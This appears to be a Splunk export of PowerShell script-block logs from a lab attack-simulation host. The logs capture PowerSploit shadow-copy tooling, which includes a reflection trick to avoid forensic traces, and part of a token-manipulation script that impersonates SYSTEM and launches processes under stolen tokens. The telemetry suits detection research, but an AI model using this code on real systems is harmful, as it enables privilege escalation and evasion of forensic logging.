[ValidatePattern('^\w:\\')] [String] $Volume, [Parameter(Mandatory = $False)] [ValidateSet(""ClientAccessible"")] [String] $Context = ""ClientAccessible"" ) $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' } # Save VSS Service initial state $running = (Get-Service -Name VSS).Status $class = [WMICLASS]""root\cimv2:win32_shadowcopy"" $return = $class.create(""$Volume"", ""$Context"") switch($return.returnvalue) { 1 {Write-Error ""Access denied.""; break} 2 {Write-Error ""Invalid argument.""; break} 3 {Write-Error ""Specified volume not found.""; break} 4 {Write-Error ""Specified volume not supported.""; break} 5 {Write-Error ""Unsupported shadow copy context.""; break} 6 {Write-Error ""Insufficient storage.""; break} 7 {Write-Error ""Volume is in use.""; break} 8 {Write-Error ""Maximum number of shadow copies reached.""; break} 9 {Write-Error ""Another shadow copy operation is already in progress.""; break} 10 {Write-Error ""Shadow copy provider vetoed the operation.""; break} 11 {Write-Error ""Shadow copy provider not registered.""; break} 12 {Write-Error ""Shadow copy provider failure.""; break} 13 {Write-Error ""Unknown error.""; break} default {break} } # If VSS Service was Stopped at the start, return VSS to ""Stopped"" state if($running -eq ""Stopped"") { Stop-Service -Name VSS } } function Remove-VolumeShadowCopy { <# .SYNOPSIS Deletes a volume shadow copy. PowerSploit Function: Remove-VolumeShadowCopy Author: Jared Atkinson (@jaredcatkinson) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Remove-VolumeShadowCopy deletes a volume shadow copy from the system. .PARAMETER InputObject Specifies the Win32_ShadowCopy object to remove .PARAMETER DevicePath Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. .EXAMPLE Get-VolumeShadowCopy | Remove-VolumeShadowCopy Description ----------- Removes all volume shadow copy .EXAMPLE Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' Description ----------- Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4 #> [CmdletBinding(SupportsShouldProcess = $True)] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] [String] $DevicePath ) PROCESS { if($PSCmdlet.ShouldProcess(""The VolumeShadowCopy at DevicePath $DevicePath will be removed"")) { (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete() } } } function Mount-VolumeShadowCopy { <# .SYNOPSIS Mounts a volume shadow copy. PowerSploit Function: Mount-VolumeShadowCopy Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link. .PARAMETER Path Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved. .PARAMETER DevicePath Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. .EXAMPLE Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS Description ----------- Create a mount point in 'C:\VSS' for each volume shadow copy volume .EXAMPLE Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' .EXAMPLE Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ } #> Param ( [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String] $Path, [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] [String[]] $DevicePath ) BEGIN { $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' } # Validate that the path exists before proceeding Get-ChildItem $Path -ErrorAction Stop | Out-Null $DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False) # Define [VSS.Kernel32]::CreateSymbolicLink method using reflection # (i.e. none of the forensic artifacts left with using Add-Type) $TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([String], [String], [UInt32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('kernel32.dll'), [Reflection.FieldInfo[]]@($SetLastError), @($true)) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $Kernel32Type = $TypeBuilder.CreateType() } PROCESS { foreach ($Volume in $DevicePath) { $Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?<LinkName>HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null $LinkPath = Join-Path $Path $Matches.LinkName if (Test-Path $LinkPath) { Write-Warning ""'$LinkPath' already exists."" continue } if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, ""$($Volume)\"", 1)) { Write-Error ""Symbolic link creation failed for '$Volume'."" continue } Get-Item $LinkPath } } END { } } 3182dc68-0c1d-4cbc-b5c4-d2148c3666d5C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\VolumeShadowCopyTools.ps1",,4104,122427,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\VolumeShadowCopyTools.ps1",,,"'5388'",,,,,,122427,,,,"3182dc68-0c1d-4cbc-b5c4-d2148c3666d5","function Get-VolumeShadowCopy { <# .SYNOPSIS Lists the device paths of all local volume shadow copies. PowerSploit Function: Get-VolumeShadowCopy Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None #> $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' } Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject } } function New-VolumeShadowCopy { <# .SYNOPSIS Creates a new volume shadow copy. PowerSploit Function: New-VolumeShadowCopy Author: Jared Atkinson (@jaredcatkinson) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION New-VolumeShadowCopy creates a volume shadow copy for the specified volume. .PARAMETER Volume Volume used for the shadow copy. This volume is sometimes referred to as the original volume. The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name. .PARAMETER Context Context that the provider uses when creating the shadow. The default is ""ClientAccessible"". .EXAMPLE New-VolumeShadowCopy -Volume C:\ Description ----------- Creates a new VolumeShadowCopy of the C drive #> Param( [Parameter(Mandatory = $True)] [ValidatePattern('^\w:\\')] [String] $Volume, [Parameter(Mandatory = $False)] [ValidateSet(""ClientAccessible"")] [String] $Context = ""ClientAccessible"" ) $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' } # Save VSS Service initial state $running = (Get-Service -Name VSS).Status $class = [WMICLASS]""root\cimv2:win32_shadowcopy"" $return = $class.create(""$Volume"", ""$Context"") switch($return.returnvalue) { 1 {Write-Error ""Access denied.""; break} 2 {Write-Error ""Invalid argument.""; break} 3 {Write-Error ""Specified volume not found.""; break} 4 {Write-Error ""Specified volume not supported.""; break} 5 {Write-Error ""Unsupported shadow copy context.""; break} 6 {Write-Error ""Insufficient storage.""; break} 7 {Write-Error ""Volume is in use.""; break} 8 {Write-Error ""Maximum number of shadow copies reached.""; break} 9 {Write-Error ""Another shadow copy operation is already in progress.""; break} 10 {Write-Error ""Shadow copy provider vetoed the operation.""; break} 11 {Write-Error ""Shadow copy provider not registered.""; break} 12 {Write-Error ""Shadow copy provider failure.""; break} 13 {Write-Error ""Unknown error.""; break} default {break} } # If VSS Service was Stopped at the start, return VSS to ""Stopped"" state if($running -eq ""Stopped"") { Stop-Service -Name VSS } } function Remove-VolumeShadowCopy { <# .SYNOPSIS Deletes a volume shadow copy. PowerSploit Function: Remove-VolumeShadowCopy Author: Jared Atkinson (@jaredcatkinson) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Remove-VolumeShadowCopy deletes a volume shadow copy from the system. .PARAMETER InputObject Specifies the Win32_ShadowCopy object to remove .PARAMETER DevicePath Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. .EXAMPLE Get-VolumeShadowCopy | Remove-VolumeShadowCopy Description ----------- Removes all volume shadow copy .EXAMPLE Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' Description ----------- Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4 #> [CmdletBinding(SupportsShouldProcess = $True)] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] [String] $DevicePath ) PROCESS { if($PSCmdlet.ShouldProcess(""The VolumeShadowCopy at DevicePath $DevicePath will be removed"")) { (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete() } } } function Mount-VolumeShadowCopy { <# .SYNOPSIS Mounts a volume shadow copy. PowerSploit Function: Mount-VolumeShadowCopy Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link. .PARAMETER Path Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved. .PARAMETER DevicePath Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. .EXAMPLE Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS Description ----------- Create a mount point in 'C:\VSS' for each volume shadow copy volume .EXAMPLE Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' .EXAMPLE Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ } #> Param ( [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String] $Path, [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] [String[]] $DevicePath ) BEGIN { $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' } # Validate that the path exists before proceeding Get-ChildItem $Path -ErrorAction Stop | Out-Null $DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False) # Define [VSS.Kernel32]::CreateSymbolicLink method using reflection # (i.e. none of the forensic artifacts left with using Add-Type) $TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([String], [String], [UInt32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('kernel32.dll'), [Reflection.FieldInfo[]]@($SetLastError), @($true)) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $Kernel32Type = $TypeBuilder.CreateType() } PROCESS { foreach ($Volume in $DevicePath) { $Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?<LinkName>HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null $LinkPath = Join-Path $Path $Matches.LinkName if (Test-Path $LinkPath) { Write-Warning ""'$LinkPath' already exists."" continue } if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, ""$($Volume)\"", 1)) { Write-Error ""Symbolic link creation failed for '$Volume'."" continue } Get-Item $LinkPath } } END { } }",,,,,,,,,,,"'2022-05-02T18:24:37.212011800Z'","4104132150x0122427Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122427Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function Get-VolumeShadowCopy { <# .SYNOPSIS Lists the device paths of all local volume shadow copies. PowerSploit Function: Get-VolumeShadowCopy Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None #> $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' } Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | ForEach-Object { $_.DeviceObject } } function New-VolumeShadowCopy { <# .SYNOPSIS Creates a new volume shadow copy. PowerSploit Function: New-VolumeShadowCopy Author: Jared Atkinson (@jaredcatkinson) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION New-VolumeShadowCopy creates a volume shadow copy for the specified volume. .PARAMETER Volume Volume used for the shadow copy. This volume is sometimes referred to as the original volume. The Volume parameter can be specified as a volume drive letter, mount point, or volume globally unique identifier (GUID) name. .PARAMETER Context Context that the provider uses when creating the shadow. The default is ""ClientAccessible"". .EXAMPLE New-VolumeShadowCopy -Volume C:\ Description ----------- Creates a new VolumeShadowCopy of the C drive #> Param( [Parameter(Mandatory = $True)] [ValidatePattern('^\w:\\')] [String] $Volume, [Parameter(Mandatory = $False)] [ValidateSet(""ClientAccessible"")] [String] $Context = ""ClientAccessible"" ) $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' } # Save VSS Service initial state $running = (Get-Service -Name VSS).Status $class = [WMICLASS]""root\cimv2:win32_shadowcopy"" $return = $class.create(""$Volume"", ""$Context"") switch($return.returnvalue) { 1 {Write-Error ""Access denied.""; break} 2 {Write-Error ""Invalid argument.""; break} 3 {Write-Error ""Specified volume not found.""; break} 4 {Write-Error ""Specified volume not supported.""; break} 5 {Write-Error ""Unsupported shadow copy context.""; break} 6 {Write-Error ""Insufficient storage.""; break} 7 {Write-Error ""Volume is in use.""; break} 8 {Write-Error ""Maximum number of shadow copies reached.""; break} 9 {Write-Error ""Another shadow copy operation is already in progress.""; break} 10 {Write-Error ""Shadow copy provider vetoed the operation.""; break} 11 {Write-Error ""Shadow copy provider not registered.""; break} 12 {Write-Error ""Shadow copy provider failure.""; break} 13 {Write-Error ""Unknown error.""; break} default {break} } # If VSS Service was Stopped at the start, return VSS to ""Stopped"" state if($running -eq ""Stopped"") { Stop-Service -Name VSS } } function Remove-VolumeShadowCopy { <# .SYNOPSIS Deletes a volume shadow copy. PowerSploit Function: Remove-VolumeShadowCopy Author: Jared Atkinson (@jaredcatkinson) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Remove-VolumeShadowCopy deletes a volume shadow copy from the system. .PARAMETER InputObject Specifies the Win32_ShadowCopy object to remove .PARAMETER DevicePath Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. .EXAMPLE Get-VolumeShadowCopy | Remove-VolumeShadowCopy Description ----------- Removes all volume shadow copy .EXAMPLE Remove-VolumeShadowCopy -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' Description ----------- Removes the volume shadow copy at the 'DeviceObject' path \\?\GLOBALROOT\DeviceHarddiskVolumeShadowCopy4 #> [CmdletBinding(SupportsShouldProcess = $True)] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] [String] $DevicePath ) PROCESS { if($PSCmdlet.ShouldProcess(""The VolumeShadowCopy at DevicePath $DevicePath will be removed"")) { (Get-WmiObject -Namespace root\cimv2 -Class Win32_ShadowCopy | Where-Object {$_.DeviceObject -eq $DevicePath}).Delete() } } } function Mount-VolumeShadowCopy { <# .SYNOPSIS Mounts a volume shadow copy. PowerSploit Function: Mount-VolumeShadowCopy Author: Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .DESCRIPTION Mount-VolumeShadowCopy mounts a volume shadow copy volume by creating a symbolic link. .PARAMETER Path Specifies the path to which the symbolic link for the mounted volume shadow copy will be saved. .PARAMETER DevicePath Specifies the volume shadow copy 'DeviceObject' path. This path can be retrieved with the Get-VolumeShadowCopy PowerSploit function or with the Win32_ShadowCopy object. .EXAMPLE Get-VolumeShadowCopy | Mount-VolumeShadowCopy -Path C:\VSS Description ----------- Create a mount point in 'C:\VSS' for each volume shadow copy volume .EXAMPLE Mount-VolumeShadowCopy -Path C:\VSS -DevicePath '\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4' .EXAMPLE Get-WmiObject Win32_ShadowCopy | % { $_.DeviceObject -Path C:\VSS -DevicePath $_ } #> Param ( [Parameter(Mandatory = $True)] [ValidateNotNullOrEmpty()] [String] $Path, [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [ValidatePattern('^\\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy[0-9]{1,3}$')] [String[]] $DevicePath ) BEGIN { $UserIdentity = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()) if (-not $UserIdentity.IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')) { Throw 'You must run Get-VolumeShadowCopy from an elevated command prompt.' } # Validate that the path exists before proceeding Get-ChildItem $Path -ErrorAction Stop | Out-Null $DynAssembly = New-Object System.Reflection.AssemblyName('VSSUtil') $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VSSUtil', $False) # Define [VSS.Kernel32]::CreateSymbolicLink method using reflection # (i.e. none of the forensic artifacts left with using Add-Type) $TypeBuilder = $ModuleBuilder.DefineType('VSS.Kernel32', 'Public, Class') $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('CreateSymbolicLink', 'kernel32.dll', ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static), [Reflection.CallingConventions]::Standard, [Bool], [Type[]]@([String], [String], [UInt32]), [Runtime.InteropServices.CallingConvention]::Winapi, [Runtime.InteropServices.CharSet]::Auto) $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String])) $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError') $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('kernel32.dll'), [Reflection.FieldInfo[]]@($SetLastError), @($true)) $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute) $Kernel32Type = $TypeBuilder.CreateType() } PROCESS { foreach ($Volume in $DevicePath) { $Volume -match '^\\\\\?\\GLOBALROOT\\Device\\(?<LinkName>HarddiskVolumeShadowCopy[0-9]{1,3})$' | Out-Null $LinkPath = Join-Path $Path $Matches.LinkName if (Test-Path $LinkPath) { Write-Warning ""'$LinkPath' already exists."" continue } if (-not $Kernel32Type::CreateSymbolicLink($LinkPath, ""$($Volume)\"", 1)) { Write-Error ""Symbolic link creation failed for '$Volume'."" continue } Get-Item $LinkPath } } END { } } 3182dc68-0c1d-4cbc-b5c4-d2148c3666d5C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\VolumeShadowCopyTools.ps1","2022-05-02T18:24:37.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122427,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122427,win,289,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><><><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error track_event_signatures",,,"error track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows" "'{7B7F4240-5E23-0006-6C5B-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"89uccess) { $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""Failed to ImpersonateLoggedOnUser. Error code: $Errorcode"" } } $Success = $CloseHandle.Invoke($NewHToken) $NewHToken = [IntPtr]::Zero if (-not $Success) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode"" } return $Success } function Create-ProcessWithToken { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $hToken, [Parameter(Position=1, Mandatory=$true)] [String] $ProcessName, [Parameter(Position=2)] [String] $ProcessArgs, [Parameter(Position=3)] [Switch] $PassThru ) Write-Verbose ""Entering Create-ProcessWithToken"" #Duplicate the token so it can be used to create a new process [IntPtr]$NewHToken = [IntPtr]::Zero $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) if (-not $Success) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""DuplicateTokenEx failed. ErrorCode: $ErrorCode"" } else { $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni(""$ProcessName"") $ProcessArgsPtr = [IntPtr]::Zero if (-not [String]::IsNullOrEmpty($ProcessArgs)) { $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni(""`""$ProcessName`"" $ProcessArgs"") } $FunctionName = """" if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) { #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege #which is not ideal. Write-Verbose ""Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token."" Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) $FunctionName = ""CreateProcessAsUserW"" } else { Write-Verbose ""Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token."" $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) $FunctionName = ""CreateProcessWithTokenW"" } if ($Success) { #Free the handles returned in the ProcessInfo structure $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null #Pass created System.Diagnostics.Process object to pipeline if ($PassThru) { #Retrieving created System.Diagnostics.Process object $returnProcess = Get-Process -Id $ProcessInfo.dwProcessId #Caching process handle so we don't lose it when the process exits $null = $returnProcess.Handle #Passing System.Diagnostics.Process object to pipeline $returnProcess } } else { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""$FunctionName failed. Error code: $ErrorCode"" } #Free StartupInfo memory and ProcessInfo memory [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) $StartupInfoPtr = [Intptr]::Zero [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) $ProcessInfoPtr = [IntPtr]::Zero [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) $ProcessNamePtr = [IntPtr]::Zero #Close handle for the token duplicated with DuplicateTokenEx $Success = $CloseHandle.Invoke($NewHToken) $NewHToken = [IntPtr]::Zero if (-not $Success) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Warning ""CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode"" } } } function Free-AllTokens { Param( [Parameter(Position=0, Mandatory=$true)] [PSObject[]] $TokenInfoObjs ) foreach ($Obj in $TokenInfoObjs) { $Success = $CloseHandle.Invoke($Obj.hToken) if (-not $Success) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() Write-Verbose ""Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode"" } $Obj.hToken = [IntPtr]::Zero } } #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token. function Enum-AllTokens { $AllTokens = @() #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges. #We need to enumrate all processes running as SYSTEM and find one that we can use. [string]$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value $SystemTokens = Get-WmiObject -Class Win32_Process | ForEach-Object { $OwnerInfo = $_.GetOwner() if ($OwnerInfo.Domain -and $OwnerInfo.User) { $OwnerString = ""$($OwnerInfo.Domain)\$($OwnerInfo.User)"".ToUpper() if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { $_ } } } ForEach ($SystemToken in $SystemTokens) { $SystemTokenInfo = Get-PrimaryToken -ProcessId $SystemToken.ProcessId -WarningAction SilentlyContinue -ErrorAction SilentlyContinue if ($SystemTokenInfo) { break } } if ($SystemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) { Write-Warning ""Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens"" } if ($SystemTokenInfo -ne $null -and $SystemTokenInfo.hProcToken -ne [IntPtr]::Zero) { $CloseHandle.Invoke($SystemTokenInfo.hProcToken) | Out-Null $SystemTokenInfo = $null } $ProcessIds = get-process | where {$_.name -inotmatch ""^csrss$"" -and $_.name -inotmatch ""^system$"" -and 